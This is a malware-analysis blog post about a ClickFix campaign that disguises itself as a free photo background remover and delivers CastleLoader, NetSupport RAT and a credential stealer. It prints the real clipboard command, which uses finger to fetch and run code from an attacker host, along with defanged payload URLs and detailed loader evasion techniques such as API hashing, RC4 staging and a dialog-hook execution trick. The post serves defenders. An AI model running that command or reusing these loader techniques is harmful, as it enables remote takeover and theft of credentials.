Home Blog ClickFix Removes Your Background but Leaves the Malware Published: April 30, 2026 ClickFix Removes Your Background but Leaves the Malware By: Anna Pham Key Takeaways BackgroundFix is a ClickFix lure dressed up as a free image-editing tool ( warning: the BackgroundFix landing pages are still online as of publication!). The sites look like every other "remove your photo background" service with uploads, progress bars, and download buttons, but the entire UI is fake. Validin pivots surfaced eight related domains using the same template, suggesting this is an active campaign rather than a one-off. The chain delivers CastleLoader, which then drops both NetSupport RAT and a custom .NET stealer (We are calling it "CastleStealer", in the spirit of the franchise). NetSupport gives the operator hands-on remote access; CastleStealer grabs browser credentials, wallet extension data, and Telegram session files. launch_method: 4 is supposed to invoke regsvr32.exe . The XOR-decoded helper string in the binary actually spells regsrv32.exe - s and v swapped on a Windows binary that's been shipping since the 90s . Whoever wrote it apparently didn't notice. Method 4 silently fails every time it's invoked. CastleLoader is many things, but spell-checking is not one of them. Table of Contents Background Looking Into "BackgroundFix" CastleLoader Technical Analysis Inside the Castle Another Boring Stealer or Should We Call it CastleStealer? Conclusion Detections Recommendations Indicators of Compromise (IOCs) Acknowledgments: Special thanks to Sarah Reddish for her contributions to this investigation and write-up. Background Figure 1: Malicious site You probably already have a go-to tool for removing the background from your selfies. But imagine someone who doesn't - they search for one, click the first result, and end up on a malicious site . That's exactly what we saw at Huntress. The video below shows how it works. You upload your image, watch a convincing progress bar do its thing, and click Download. Then comes the twist: you're asked to verify you're not a robot. From there, it's pretty self-explanatory, a malicious command gets copied to your clipboard, along with helpful instructions on how to run it. What this eventually delivers is CastleLoader, which in turn drops NetSupportRAT. We'll be doing a deep dive into CastleLoader's internals, since I haven't found a true beginning-to-end writeup out there yet. Looking into “BackgroundFix” Good news first: the images you upload don't go anywhere. They don't get uploaded to the threat actor's server, they don't get sent to a remote endpoint, they don't even get processed locally. When the user checks the “I'm not a robot” box, two things happen. First, a payload gets copied to the clipboard via the classic document.execCommand(“copy”) . Second, the page pings log-checkbox.php via navigator.sendBeacon , so the threat actor gets telemetry on exactly which visitors made it to the paste step. The payload in the clipboard decodes to this: %COMSPEC% /k s^t^a^r^t "" /min for /f "skip=8 delims=" %h in ('f^^i^^n^^g^^e^^r nrLeDHDESi@cheeshomireciple[.]com') do call %h & exit && echo ' ---Verify you are human--------press ENTER--- ' The start “” /min launches the next stage minimized, so the victim never sees a command window appear. Then the f or /f “skip=8 delims=” %h in ('finger [email protected] ') invokes finger.exe - yes, the finger client has been shipping with Windows since NT and is still there to query a finger daemon the attacker controls at cheeshomireciple[.]com . The skip=8 drops the first eight lines of the response (banner and headers the finger protocol returns by default), and whatever comes back on line nine gets passed to call %h , which executes it as a command. Figure 2: The log-checkbox.php beacon firing the moment the checkbox is ticked Validin is coming to the rescue again Leveraging Validin, we were able to get more domains (see the Indicators of Compromise section) that are being used by the threat actor - they all have the sample template. Figure 3: Validin search results based on the title CastleLoader technical analysis PowerShell shenanigans The finger server response is a basic Linux fingerd output. If the threat actor has a ~/.plan file with read permissions set for others, its contents get appended under Plan : The content of the appended batch payload: Loading Gist... Variable names are deliberately random - BysywcQbIrLfMjoi and JdqFyReXmqSfylHt defeat string-based hunting. The second resolves to a filename like <N><M>.exe where each N/M is cmd's %RANDOM% (0-32767), so every infection renames the Python binary to something unique, for example 29693877.exe . The script kills and restarts explorer.exe , which makes the taskbar and desktop icons do a disappearing act and then repaint. Why? It’s unclear, maybe the operator just likes the theater. The bring-your-own-interpreter (BYOI) chain is the operationally interesting part. curl.exe downloads the legitimate Python Software Foundation embeddable distribution from python.org, saving it with a .pdf extension to look innocuous to any user who glimpses the filename. Tar.exe then extracts the zip despite the misleading extension. The Python wrapper then unpacks in three layers: base64 decode, zlib decompress and UTF-32 decode. What comes out is a short downloader script: it disables TLS certificate validation, fetches another Python payload from hxxps://trindastal[.]com/4ba0af68-0037-5f6e-afd1-64f89fc0f554/loc8 , sleeps ~2 seconds, and exec() s the response. The /loc8 response is another Python script, and this is where a Cyrillic-substitution trick shows up. Before the base64 decode, the script swaps a handful of Cyrillic characters back to Latin. replace('Ф', '/').replace('В', 'R').replace('С', 'v').replace('Л', 'G').replace('М', 'y').replace('к', 'A').replace('Ё', '4')).decode('utf-8')) After undoing the substitution and decoding the base64 blobs, the script is a ctypes shellcode loader. After undoing the substitution and decoding the base64 blobs, the script is a ctypes shellcode loader. Figure 4: Python ctypes shellcode loader The shellcode is XOR-encrypted with a 16-byte repeating key. HeapCreate is called with 0x00040000 ( HEAP_CREATE_ENABLE_EXECUTE ) and HeapAlloc with 0x00000008 ( HEAP_ZERO_MEMORY ), producing an executable heap allocation in one step. RtlMoveMemory copies the decrypted shellcode in, and CFUNCTYPE(c_void_p)(ptr)() casts the pointer to a callable and invokes it. Shellcode #1 Once CFUNCTYPE(ptr)() jumps in, we are in ~8.6 KB of shellcode. Every API call follows the typical pattern - one helper returns a module base, another resolves an export by hash. The hashing algorithm is just djb2: init to 5381, multiply by 33 and add each byte: Loading Gist... Instead of taking the target hash as an argument, it reads it from the upper 32 bits of the return address on the stack. Every call site pushes a single 64-bit literal where the low dword is a sentinel ( 0xFFFFFFFF ) and the high dword is the expected djb2 hash. The resolver checks the low dword to confirm a real return address was pushed, then compares each export's hash against the high dword. Figure 5: API call site: the push carries a sentinel (low dword) and the djb2 hash for VirtualProtect (high dword), the resolver reads the hash from its own return address The module resolver does a PEB walk. It dereferences the loader data through InLoadOrderModuleList , walks each entry, converts the UNICODE module name to ASCII, hashes it, and matches against the expected hash. The export resolver then does the standard export-directory walk: it iterates AddressOfNames , hashes each, matches, looks up the corresponding RVA via AddressOfNameOrdinals + AddressOfFunctions . The module resolver takes a scope integer and returns the corresponding DLL base. Each DLL name is built on the stack two bytes at a time. Scope DLL 0 ntdll.dll 1 kernel32.dll 2 shlwapi.dll 3 user32.dll 4 wininet.dll 5 shell32.dll 6 comdlg32.dll The shellcode downloads the next-stage payload from hxxps://trindastal[.]com/4ba0af68-0037-5f6e-afd1-64f89fc0f554/v8 , with the URL built up via stack strings. But don’t get excited yet, the second-stage shellcode comes encrypted! The decryption routine sitting between the API resolver and the downloader is RC4. Once the payload is pulled down, the shellcode resolves VirtualProtect , flips the buffer to PAGE_EXECUTE_READWRITE , and calls the RC4 routine with a slightly interesting argument layout: the ciphertext pointer is the downloaded buffer plus 64, the ciphertext length is the total size minus 64, and the key pointer is the buffer itself with a key length of 64. In other words, the first 64 bytes of every download are the RC4 key and everything after that is ciphertext. Figure 6: RC4 KSA first loop: S[i] = i running over 256 iterations, filling the stack-based state array one byte at a time. The div dword ptr [rbp+14h] is the i % keylen wrap against the caller-supplied key length. Once the buffer is decrypted, the shellcode doesn't just jump to it. Instead, it uses a creative trick: it hands control to the payload through ReplaceTextW , the Windows “Find and Replace” dialog API from comdlg32.dll . That's why comdlg32 showed up in the DLL table earlier. ReplaceTextW normally pops up the little Find-and-Replace dialog box you would see in Notepad or Word. Every Windows dialog runs its logic by calling a callback function in response to messages like “user clicked a button” or “user typed something”. Microsoft lets you supply your own extra callback, a hook that also gets called for every message the dialog receives, so developers can customize the dialog's behavior. That hook is just a function pointer, and Windows calls whatever pointer you give it. The shellcode abuses this, it builds a FINDREPLACEW structure on the stack with FR_ENABLEHOOK set in Flags and lpfnHook pointing at the start of the decrypted payload: Loading Gist..
A social engineering campaign uses fake image-editing websites ("BackgroundFix") to lure users into copying and executing a malicious command, which delivers CastleLoader. This loader deploys NetSupport RAT for remote access and a custom .NET stealer ("CastleStealer") to harvest credentials and session data. The article provides detection recommendations and Indicators of Compromise but does not specify CVSS scores, affected software versions, patches, or workarounds.